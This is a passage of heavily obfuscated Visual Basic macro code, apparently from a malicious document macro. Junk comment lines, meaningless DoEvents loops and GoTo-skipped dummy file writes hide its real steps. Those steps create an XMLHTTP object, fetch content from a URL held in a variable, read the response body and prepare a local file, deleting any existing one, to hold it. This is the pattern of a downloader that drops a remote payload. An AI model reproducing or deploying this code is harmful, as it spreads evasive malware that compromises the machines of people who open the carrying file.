  305. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  306. Dim NBERBLSA As Integer
  307. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  308. For NBERBLSA = 0 To 8
  309. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  310. DoEvents
  311. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  312. Next NBERBLSA
  313. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  314. Put #56, , FFRRGVLM
  315. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  316. Dim XLKXFXGQ As Integer
  317. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  318. For XLKXFXGQ = 0 To 8
  319. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  320. DoEvents
  321. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  322. Next XLKXFXGQ
  323. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  324. Close #56
  325. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  326. Dim XLHZKMYG As Integer
  327. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  328. For XLHZKMYG = 0 To 7
  329. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  330. DoEvents
  331. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  332. Next XLHZKMYG
  333. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  334. IKXPAENZ:
  335. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  336.  
  337. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  338. Dim UODJHOBF As Integer
  339. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  340. For UODJHOBF = 0 To 7
  341. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  342. DoEvents
  343. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  344. Next UODJHOBF
  345. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  346.    Set KZVJXBLKGJA = CreateObject("MSXML2.XMLHTTP")
  347. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  348.    KZVJXBLKGJA.Open "GET", FOSLUHEEFAL, False
  349. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  350.  
  351. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  352. GoTo GNOSOWEY
  353. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  354. Dim IJNXNZKO As String
  355. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  356. Open "MYRXUQ.EVZ" For Binary As 67
  357. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  358. Dim IXKXLZSJ As Integer
  359. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  360. For IXKXLZSJ = 0 To 5
  361. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  362. DoEvents
  363. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  364. Next IXKXLZSJ
  365. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  366. Put #67, , IJNXNZKO
  367. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  368. Dim WNOITRFG As Integer
  369. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  370. For WNOITRFG = 0 To 1
  371. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  372. DoEvents
  373. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  374. Next WNOITRFG
  375. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  376. Close #67
  377. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  378. Dim MAUFPEYL As Integer
  379. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  380. For MAUFPEYL = 0 To 3
  381. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  382. DoEvents
  383. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  384. Next MAUFPEYL
  385. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  386. GNOSOWEY:
  387. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  388.  
  389. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  390. Dim RNSWBLEM As Integer
  391. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  392. For RNSWBLEM = 0 To 9
  393. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  394. DoEvents
  395. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  396. Next RNSWBLEM
  397. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  398.    KZVJXBLKGJA.SEND "send REQUEST"
  399. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  400.  
  401. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  402.    Do While KZVJXBLKGJA.READYSTATE <> 4
  403. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  404.  
  405. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  406. GoTo VBSBRPKD
  407. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  408. Dim EWLLJTPR As String
  409. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  410. Open "JWFUZD.JLF" For Binary As 53
  411. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  412. Dim XHUFFTFR As Integer
  413. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  414. For XHUFFTFR = 0 To 6
  415. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  416. DoEvents
  417. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  418. Next XHUFFTFR
  419. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  420. Put #53, , EWLLJTPR
  421. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  422. Dim OWCEFKOX As Integer
  423. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  424. For OWCEFKOX = 0 To 3
  425. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  426. DoEvents
  427. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  428. Next OWCEFKOX
  429. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  430. Close #53
  431. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  432. Dim WNDKGTRF As Integer
  433. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  434. For WNDKGTRF = 0 To 1
  435. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  436. DoEvents
  437. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  438. Next WNDKGTRF
  439. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  440. VBSBRPKD:
  441. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  442.  
  443. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  444. Dim LQJCHRLB As Integer
  445. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  446. For LQJCHRLB = 0 To 6
  447. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  448. DoEvents
  449. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  450. Next LQJCHRLB
  451. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  452.    DoEvents
  453. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  454.  
  455. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  456. GoTo IGOIXBKU
  457. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  458. Dim FQKZOMPB As String
  459. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  460. Open "PHDSQM.LIQ" For Binary As 21
  461. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  462. Dim ZPLLTYAL As Integer
  463. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  464. For ZPLLTYAL = 0 To 4
  465. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  466. DoEvents
  467. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  468. Next ZPLLTYAL
  469. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  470. Put #21, , FQKZOMPB
  471. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  472. Dim FHIIYLXQ As Integer
  473. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  474. For FHIIYLXQ = 0 To 3
  475. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  476. DoEvents
  477. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  478. Next FHIIYLXQ
  479. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  480. Close #21
  481. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  482. Dim NWVVUYJR As Integer
  483. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  484. For NWVVUYJR = 0 To 8
  485. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  486. DoEvents
  487. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  488. Next NWVVUYJR
  489. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  490. IGOIXBKU:
  491. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  492.  
  493. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  494. Dim FJRBLHBC As Integer
  495. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  496. For FJRBLHBC = 0 To 1
  497. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  498. DoEvents
  499. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  500. Next FJRBLHBC
  501. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  502.    Loop
  503. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  504.  
  505. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  506.  
  507. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  508. GoTo TIBZZHMB
  509. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  510. Dim QRYCGQSK As String
  511. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  512. Open "INMOFE.JKK" For Binary As 25
  513. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  514. Dim NVQXRINY As Integer
  515. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  516. For NVQXRINY = 0 To 8
  517. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  518. DoEvents
  519. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  520. Next NVQXRINY
  521. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  522. Put #25, , QRYCGQSK
  523. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  524. Dim SEASTWWV As Integer
  525. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  526. For SEASTWWV = 0 To 4
  527. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  528. DoEvents
  529. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  530. Next SEASTWWV
  531. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  532. Close #25
  533. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  534. Dim PDOUFQNP As Integer
  535. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  536. For PDOUFQNP = 0 To 1
  537. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  538. DoEvents
  539. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  540. Next PDOUFQNP
  541. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  542. TIBZZHMB:
  543. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  544.  
  545. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  546. Dim COGIAWIR As Integer
  547. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  548. For COGIAWIR = 0 To 3
  549. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  550. DoEvents
  551. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  552. Next COGIAWIR
  553. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  554.    LDTQKJDSVUB = KZVJXBLKGJA.RESPONSEBODY
  555. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  556.  
  557. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  558.  
  559. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  560. GoTo DJQRPIXR
  561. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  562. Dim KDLVCEGW As String
  563. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  564. Open "QRDPKB.WXS" For Binary As 36
  565. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  566. Dim VIHGPHQQ As Integer
  567. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  568. For VIHGPHQQ = 0 To 3
  569. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  570. DoEvents
  571. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  572. Next VIHGPHQQ
  573. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  574. Put #36, , KDLVCEGW
  575. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  576. Dim XKWFUJIK As Integer
  577. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  578. For XKWFUJIK = 0 To 9
  579. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  580. DoEvents
  581. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  582. Next XKWFUJIK
  583. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  584. Close #36
  585. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  586. Dim SEWJCBLT As Integer
  587. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  588. For SEWJCBLT = 0 To 3
  589. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  590. DoEvents
  591. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  592. Next SEWJCBLT
  593. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  594. DJQRPIXR:
  595. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  596.  
  597. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  598. Dim VOPSAQYA As Integer
  599. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  600. For VOPSAQYA = 0 To 1
  601. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  602. DoEvents
  603. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  604. Next VOPSAQYA
  605. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  606.    DELMXINGWSM = FreeFile
  607. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  608.    If Dir(QQIHAVXECBT) <> "" Then Kill QQIHAVXECBT
